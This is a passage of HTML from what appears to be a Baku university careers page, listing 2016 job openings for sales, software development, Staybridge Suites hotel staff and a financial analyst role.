The CVs will be\r\nscreened by the coordinator and then will be submitted to the employer.</p><p><br></p>  <hr noshade=\"noshade\"><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p><strong>SEFCO\r\nConsulting Group is hiring!</strong></p>\r\n<p><strong>Position: </strong>Freelance\r\nSales Coordinator</p>\r\n<p>Requirements: </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocially active;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExcellent Communication Skills;</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVery punctual and disciplined.</p>\r\n<p>Interested Candidates are encouraged to send their CVs to the following\r\ne-mail address <a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> indicating\r\n‘Freelance Sales Coordinator’ in the subject line.</p><p><br></p><br><hr noshade=\"noshade\"><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p><strong>Customar Interactive Technologies is hiring!</strong></p>\r\n<p><strong>Position 1:</strong>\r\nAugmented Reality, Virtual Reality and Game development</p>\r\n<p>Work hours: 9:00 – 18:00 in\r\nweekdays, Saturday is a short day</p>\r\n<p>Salary should be discussed in a\r\nhiring process</p>\r\n<p><em>Requirements:</em></p>\r\n<p>- Knowing of C# programming\r\nlanguage</p>\r\n<p>- Knowing of Unity3D platform;</p>\r\n<p>- Intermediate Level in English;</p>\r\n<p>- Willing to learn and develop\r\nthe knowledge in the field;</p>\r\n<p>- Hard-working, risky,\r\nmotivational, very punctual, disciplined.</p><p><br></p><p><strong>Position 2:</strong>\r\nMobile Application Development</p><p>Work hours: 9:00 – 18:00 in\r\nweekdays, Saturday is a short day</p>\r\n<p>Salary should be discussed in a\r\nhiring process</p>\r\n<p>&nbsp;</p>\r\n<p>Requirements:</p>\r\n<p>- Knowledge of Android Studio\r\n(Java language), Swift programming language for IOS Native apps development</p>\r\n<p>- Intermediate Level in English;</p>\r\n<p>- Willing to learn and develop\r\nthe knowledge in the field;</p>\r\n<p>- Hard-working, risky, motivational,\r\nvery punctual, disciplined.</p>  <p><br></p>  <br><hr noshade=\"noshade\"><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p><strong>StaybridgeSuites® </strong><strong>is hiring!</strong></p><p>Our goal at StaybridgeSuites® is to make our\r\nguests feel like they are at home. We need your help to achieve it. Once you\r\nbecome a part of StaybridgeSuites® Brand, You are not a regular staff member for us.</p> <p>We are proud that\r\nour staff members are talented, interested people and seeking to achieve a lot\r\nin their lives.&nbsp;For StaybridgeSuites® Baku we search for\r\nattentive, loyal, guest caring people, who are able to make our guests’ stay in\r\nthe hotel comfortable like part of the family, not just a guest.</p><p>Currently we have\r\nvacant below position:</p>\r\n<p><strong><em>SECURITY GUARD</em></strong></p>\r\n<p>Our main requirements\r\nto our future employee are:</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong experience\r\nin <strong>hotel industry +1.5 years</strong></p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGood in English\r\nand Azerbaijani, Russian is preferable</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAble to\r\nsupport StaybridgeSuites® with provision of warm and friendly\r\natmosphere to our guests and our staff</p>\r\n<div><em><strong>We encourage\r\nloyal and initiative people!</strong></em></div>\r\n<div><em><strong>Job\r\ndescription</strong></em></div>\r\n<p>As StaybridgeSuites® brandisapartoftheIHG®, you will be able\r\nto use incredible opportunities, which is an integral part of the successful\r\nwork in the global company, which owns 5100 hotels in almost 100 countries\r\nacross the world. </p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo maintain and protect the\r\nsecurity of the building for the safety of the residents inside.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo remain a visual deterrent to\r\nanyone who may be up to no good.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTo respond to any complaints\r\nthat the residents may have quickly and efficiently ensuring that the residents\r\nhave the best possible stay.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEscorting unruly patrons out of\r\nthe building.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Will be expected to write\r\na report of any incidents that have happened throughout the day and communicate\r\nthat to the guard that has come to cover the next shift.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGreeting customers as they\r\nenter and exit the building.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProviding information about the\r\nhotel (meal times, events etc).</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaking sure that customers and\r\nemployees are safe within the building.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTaking messages from customers\r\nto give to an appropriate employee.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDeal with any conflicts that\r\nmay occur on shift.</p>\r\n<div><em><strong>Bright\r\nyourself at Staybridge Suites® and IHG®!</strong></em></div>\r\n<p><em>Please forward you CVs to </em><a href=\"mailto:hr@sbsbaku.com\"><em>hr@sbsbaku.com</em></a><em> with the title of\r\nthe position applying in the Subject line.&nbsp;\r\n<strong>Deadline</strong> to apply for the\r\nvacant position is <strong>30.09.2016</strong> at 12\r\nam (00:00)</em></p>\r\n<p><strong>LETTERS WITHOUT THE TITLE IN THE SUBJECT LINE AND\r\nAFTER THE MENTIONED ABOVE DATE WILL NOT BE CONSIDERED.</strong></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><br><hr noshade=\"noshade\"><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p><strong>StaybridgeSuites® </strong><strong>is hiring!</strong></p><p>Our goal at StaybridgeSuites® is to make our\r\nguests feel like they are at home. We need your help to achieve it. Once you\r\nbecome a part of StaybridgeSuites® Brand, You are not a regular staff member for us.</p><p>We are proud that\r\nour staff members are talented, interested people and seeking to achieve a lot\r\nin their lives.&nbsp;For StaybridgeSuites® Baku we search for\r\nattentive, loyal, guest caring people, who are able to make our guests’ stay in\r\nthe hotel comfortable like part of the family, not just a guest.</p><p>Currently we have\r\nvacant below positions:</p>\r\n<p><strong><em>FRONT OFFICE RECEPTIONIST</em></strong></p>\r\n<p>Our main requirements\r\nto our future employee are:</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong experience\r\nin hotel industry +1,5 years</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFluent in English\r\nand Azerbaijani, Russian is preferable</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProficient\r\ncomputer users</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAble to\r\nsupport StaybridgeSuites® with provision of warm and friendly\r\natmosphere to our guests and our staff</p>\r\n<div><em><strong>We encourage\r\nloyal and initiative people!</strong></em></div><div><em><strong><br></strong></em></div>\r\n<div><em><strong>Job\r\ndescription</strong></em></div>\r\n<p>As StaybridgeSuites® brandisapartoftheIHG®, you will be able\r\nto use incredible opportunities, which is an integral part of the successful work\r\nin the global company, which owns 5100 hotels in almost 100 countries across\r\nthe world. </p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Meet, greet, check in and coordinate guests to\r\ntheir rooms, cut the key-cards to guests</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inform the guests about all type of services\r\nprovided in the hotel</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Receive payments for provided services</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Payments proceeding</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Communicate with Housekeeping department on the\r\nstatus of the ready rooms or the communication on cleaning requirements</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Solve reservation issues </p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Receive calls, records messages and pass\r\ninformation to guests</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:14.2pt;text-indent:-14.2pt\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Solve complains or issues with guests and\r\nimmediately coordinate with Front Office Manager if required.</p>\r\n<div>Bright\r\nyourself at Staybridge Suites® and IHG®!</div>\r\n<p><em>Please forward you CVs to </em><a href=\"mailto:hr@sbsbaku.com\"><em>hr@sbsbaku.com</em></a><em> with the title of the\r\nposition applying in the Subject line.&nbsp;\r\nDeadline to apply for the vacant position is 12.09.2016. </em></p>\r\n<p><strong><em>Letters without the\r\ntitle in the subject line and after the mentioned above date will not be\r\nconsidered.</em></strong></p>  <p><br></p><br><hr noshade=\"noshade\"><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>StaybridgeSuites® </strong><strong>is hiring!</strong></p><p>Our goal at StaybridgeSuites® is to make our\r\nguests feel like they are at home. We need your help to achieve it. Once you\r\nbecome a part of StaybridgeSuites® Brand, You are not a regular staff member for us.</p> <p>We are proud that\r\nour staff members are talented, interested people and seeking to achieve a lot\r\nin their lives.&nbsp;For StaybridgeSuites® Baku we search for\r\nattentive, loyal, guest caring people, who are able to make our guests’ stay in\r\nthe hotel comfortable like part of the family, not just a guest.</p><p>Currently we have\r\nvacant below positions:</p>  <p><strong><em>WAITER / WAITRESS</em></strong></p>\r\n<p>Our main requirements\r\nto our future employee are:</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong experience\r\nin hotel industry +1years</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGood in English\r\nand Azerbaijani, Russian is preferable</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAble to\r\nsupport StaybridgeSuites® with provision of warm and friendly\r\natmosphere to our guests and our staff</p>\r\n<div><em><strong>We encourage\r\nloyal and initiative people!</strong></em></div>\r\n<p>&nbsp;</p>\r\n<div><em><strong>Job\r\ndescription</strong></em></div>\r\n<p>As StaybridgeSuites® brandisapartoftheIHG®, you will be able\r\nto use incredible opportunities, which is an integral part of the successful\r\nwork in the global company, which owns 5100 hotels in almost 100 countries\r\nacross the world. </p>\r\n<p>· Greet customers, present menus, and\r\nexplain daily specials to customers</p>\r\n<p>·\r\nAnswer questions related to menu items and make recommendations</p>\r\n<p>·\r\nTake food and beverage orders from customers</p>\r\n<p>·\r\nRelay food and beverage orders to the kitchen staff</p>\r\n<p>·\r\nPrepare drinks and food garnishes</p>\r\n<p>·\r\nCarry trays of food or drinks from the kitchen to the dining tables</p>\r\n<p>·\r\nRemove dirty dishes and glasses and clean tables after customers finish meals</p>\r\n<p>·\r\nPrepare itemized checks and hand them to customers and sometimes take payment</p>\r\n<p>· Clean and set up dining areas,\r\nrefill condiments, roll silverware, and stock service areas</p>\r\n<div><em><strong>Bright yourself at Staybridge\r\nSuites® and IHG®!</strong></em></div>\r\n<p>Please forward you CVs to <a href=\"mailto:hr@sbsbaku.com\">hr@sbsbaku.com</a> with the title of\r\nthe position applying in the Subject line.&nbsp;\r\n<strong>Deadline</strong> to apply for the\r\nvacant position is <strong>30.09.2016</strong> at 12\r\nam (00:00).</p>  <p><strong>LETTERS WITHOUT THE TITLE IN THE SUBJECT LINE AND\r\nAFTER THE MENTIONED ABOVE DATE WILL NOT BE CONSIDERED.</strong></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong></strong></p><hr noshade=\"noshade\"><strong><br></strong><p><strong><br></strong></p><p><strong>StaybridgeSuites® </strong><strong>is hiring!</strong></p><p>Our goal at StaybridgeSuites® is to make our\r\nguests feel like they are at home. We need your help to achieve it. Once you\r\nbecome a part of StaybridgeSuites® Brand, You are not a regular staff member for us.</p><p>We are proud that\r\nour staff members are talented, interested people and seeking to achieve a lot\r\nin their lives.&nbsp;For StaybridgeSuites® Baku we search for\r\nattentive, loyal, guest caring people, who are able to make our guests’ stay in\r\nthe hotel comfortable like part of the family, not just a guest.</p>\r\n<p>Currently we have\r\nvacant below position:</p>\r\n<p><strong><em>HOUSEKEEPER</em></strong><strong><em>&nbsp;</em></strong></p>\r\n<p>Our main requirements\r\nto our future employee are:</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong experience\r\nin <strong>hotel industry +1.5 years</strong></p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGood in English\r\nand Azerbaijani, Russian is desirable, but not a must</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAble to\r\nsupport StaybridgeSuites® with provision of warm and friendly\r\natmosphere to our guests and our staff</p>\r\n<div><em><strong>We encourage\r\nloyal and initiative people!</strong></em></div><div><em><strong><br></strong></em></div>\r\n<div><em><strong>Job\r\ndescription</strong></em></div><strong>\r\n</strong><p>As StaybridgeSuites® brandisapartoftheIHG®, you will be able\r\nto use incredible opportunities, which is an integral part of the successful\r\nwork in the global company, which owns 5100 hotels in almost 100 countries\r\nacross the world. </p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThoroughly clean all room as\r\nassigned to IHG and NHS standard.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCare for all uniforms,\r\nequipment and supplies issued by the Executive Housekeeper.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCommunicate with staff as\r\ndirected on the status of all cleaned room.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaintain cleanliness of public\r\nareas.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReport any observed damage,\r\nunusual happenings and safety concerns to the Executive Housekeeper.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaintain a solid understanding\r\nof housekeeping and laundry supplies.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInform management of hazardous\r\nsituations, emergencies or security threats. &nbsp;</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRespond in a courteous and\r\nprompt manner to all guest question and/or concerns.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTurn in all “lost and found”\r\nitems as directed listing the room number, the day it was found and the name of\r\nthe person who found it.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEnsure that no occupied room is\r\nleft open and unattended when being serviced.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPromptly report all maintenance\r\nconcerns and follow up on repairs.</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:normal\"\"=\"\"><em>&nbsp;</em><em><strong>Bright\r\nyourself at Staybridge Suites® and IHG®!</strong></em></p>\r\n<p>Please forward you CVs to <a href=\"mailto:hr@sbsbaku.com\">hr@sbsbaku.com</a> with the title of\r\nthe position applying in the Subject line.&nbsp;\r\n<strong>Deadline</strong> to apply for the\r\nvacant position is <strong>30.09.2016</strong> at 12\r\nam (00:00)</p>\r\n<p><strong>LETTERS WITHOUT THE TITLE IN THE SUBJECT LINE AND\r\nAFTER THE MENTIONED ABOVE DATE WILL NOT BE CONSIDERED.</strong></p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp;&nbsp;&nbsp;</strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong></strong></p><hr noshade=\"noshade\"><p><strong>StaybridgeSuites® is hiring!</strong></p>\r\n<p>Our goal at StaybridgeSuites® is to make our\r\nguests feel like they are at home. We need your help to achieve it. Once you\r\nbecome a part of StaybridgeSuites® Brand, You are not a regular staff member for us.</p><p>We are proud that\r\nour staff members are talented, interested people and seeking to achieve a lot\r\nin their lives.&nbsp;For StaybridgeSuites® Baku we search for\r\nattentive, loyal, guest caring people, who are able to make our guests’ stay in\r\nthe hotel comfortable like part of the family, not just a guest.</p>\r\n<p>Currently we have\r\nvacant below position:</p>\r\n<p><strong><em>BELLBOY</em></strong></p>\r\n<p>Our main requirements\r\nto our future employee are:</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStrong experience\r\nin <strong>hotel industry +1.5 years</strong></p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGood in English\r\nand Azerbaijani, Russian is preferable</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAble to\r\nsupport StaybridgeSuites® with provision of warm and friendly\r\natmosphere to our guests and our staff</p>\r\n<div><em><strong>We encourage\r\nloyal and initiative people!</strong></em></div><div><em><strong></strong></em>&nbsp;</div>\r\n<div><em><strong>Job\r\ndescription</strong></em></div>\r\n<p>As StaybridgeSuites® brandisapartoftheIHG®, you will be able\r\nto use incredible opportunities, which is an integral part of the successful\r\nwork in the global company, which owns 5100 hotels in almost 100 countries across\r\nthe world. </p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssisting\r\nof customers with their&nbsp;bags&nbsp;and luggage</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCourteously\r\ngreeting customers and provide them high quality service</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEscorting\r\nguests to their respective hotel rooms</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOccasionally\r\npark and retrieve guest’s vehicles</p>\r\n<p class=\"IHGBodyCopy\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssisting\r\nthe customers with their needs.</p>\r\n<div><em><strong>Bright\r\nyourself at Staybridge Suites® and IHG®!</strong></em></div>\r\n<p>Please forward you CVs to <a href=\"mailto:hr@sbsbaku.com\">hr@sbsbaku.com</a> with the title of\r\nthe position applying in the Subject line.&nbsp;\r\n<strong>Deadline</strong> to apply for the\r\nvacant position is <strong>30.09.2016</strong> at 12\r\nam (00:00)</p>\r\n<p><strong>LETTERS WITHOUT THE TITLE IN THE SUBJECT LINE AND\r\nAFTER THE MENTIONED ABOVE DATE WILL NOT BE CONSIDERED.</strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong></strong></p><hr noshade=\"noshade\"><strong><br></strong><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><br></p><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;Financial Monitoring Service under Financial\r\nMarkets Supervision Chamber</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Position: Department of supervision of financial\r\nmarkets, infrastructure analyst / senior analyst</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Requirements:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHigher Education\r\nin Economics/Management/Finance/Audit;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n3-5 years of work\r\nexperience in the same 